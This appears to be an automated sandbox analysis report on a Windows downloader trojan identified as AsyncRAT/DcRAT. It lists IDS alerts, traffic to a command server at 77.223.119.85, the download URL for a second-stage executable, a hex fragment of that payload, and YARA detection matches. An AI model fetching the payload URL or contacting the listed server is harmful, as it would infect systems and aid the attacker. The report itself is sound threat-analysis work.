Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 77.223.119.85:1414 -> 192.168.2.4:49714

Source: global traffic

TCP traffic: 192.168.2.4:49714 -> 77.223.119.85:1414

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 08 Apr 2025 21:05:32 GMTAccept-Ranges: bytesETag: "3466e6f6c9a8db1:0"Server: Microsoft-IIS/10.0Date: Sat, 12 Apr 2025 17:35:14 GMTContent-Length: 1548800Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 47 05 da d5 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 98 17 00 00 08 00 00 00 00 00 00 6e b7 17 00 00 20 00 00 00 c0 17 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 18 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 b7 17 00 57 00 00 00 00 c0 17 00 aa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 17 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 97 17 00 00 20 00 00 00 98 17 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 aa 05 00 00 00 c0 17 00 00 06 00 00 00 9a 17 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 17 00 00 02 00 00 00 a0 17 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b7 17 00 00 00 00 00 48 00 00 00 02 00 05 00 88 97 16 00 8c 1f 01 00 01 00 00 00 d9 00 00 06 e0 7c 00 00 a6 1a 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 57 00 07 80 c2 18 00 48 33 c0 c3 00 00 00 00 b8 57 00 07 80 c3 00 00 33 c0 c2 14 00 00 00 00 1e 17 28 5d 01 00 06 2a 1e 02 28 17 00 00 0a 2a 32 02 7b 07 00 00 04 28 d0 00 00 06 2a da 73 18 00 00 0a 25 72 01 00 00 70 6f 1a 00 00 0a 72 2f 00 00 70 6f 1e 00 00 0a 25 72 2f 00 00 70 6f 1a 00 00 0a 02 6f 1e 00 00 0a 6f 1f 00 00 0a 28 d4 00 00 06 2a da 73 18 00 00 0a 25 72 01 00 00 70 6f 1a 00 00 0a 72 3b 00 00 70 6f 1e 00 00 0a 25 72 45 00 00 70 6f 1a 00 00 0a 02 6f 1e 00 00 0a 6f 1f 00 00 0a 28 d4 00 00 06 2a 56 28 23 00 00 0a 73 24 00 00 0a 20 20 02 00 00 6f 25 00 00 0a 2a 62 7e 02 00 00 04 2c 10 7e 02 00 00 04 6f 26 00 00 0a 14 80 02 00 00 04 2a 66 7e 04 00 00 04 28 20 00 00 0a 2c 0c 28 0a 00 00 06 2c 05 28 0d 00 00 06 2a 8e 0f 00 28 0f 00 00 06 0f 01 28 10 00 00 06 d0 02 00 00 1b 28 27 00 00 0a 28 28 00 00 0a a5 02 00 00 1b 2a 1a 7e 1f 00 00 04 2a 1e 02 80 1f 00 00 04 2a 1a 7e 20 00 00 04 2a 1e 02 80 20 00 00 04 2a 1a 7e 21 00 00 04 2a 1e 02 80 21 00 00 04

Source: global traffic

HTTP traffic detected: GET /tb.exe HTTP/1.1Host: 77.223.119.85Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: EKAT-ASRU EKAT-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49713 -> 77.223.119.85:80

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85
Source: unknown	TCP traffic detected without corresponding DNS query: 77.223.119.85

Source: global traffic	HTTP traffic detected: GET /tb.exe HTTP/1.1Host: 77.223.119.85Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic

DNS traffic detected: DNS query: c.pki.goog

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.223.118F
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.000000000326F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.223.119.85
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.223.119.85/tb.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2387305116.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: MSBuild.exe, 00000004.00000002.2387305116.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/:
Source: MSBuild.exe, 00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: MSBuild.exe, 00000004.00000002.2393602638.0000000005401000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.000000000326F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.0000000003231000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown

HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49724 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, Packet.cs

.Net Code: GetScreen

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 00000004.00000002.2388462794.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2387305116.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: MSBuild.exe PID: 5036, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown

.NET source code contains very large strings

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, -Module-.cs

Long String: Length: 12165

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01233ED8 NtProtectVirtualMemory,		4_2_01233ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01233A80 NtProtectVirtualMemory,		4_2_01233A80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01239158	4_2_01239158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01233308	4_2_01233308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01239658	4_2_01239658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01238888	4_2_01238888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_012332F7	4_2_012332F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01238540	4_2_01238540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01233A80	4_2_01233A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0123CA90	4_2_0123CA90

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1175941432.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000000.1138324873.0000000000D8E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStub.exe. vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStub.exe, vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1177191049.0000000005700000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename5dljncsi.dll4 vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.000000000326D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStub.exe, vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename5dljncsi.dll4 vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Binary or memory string: OriginalFilenameStub.exe. vs SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
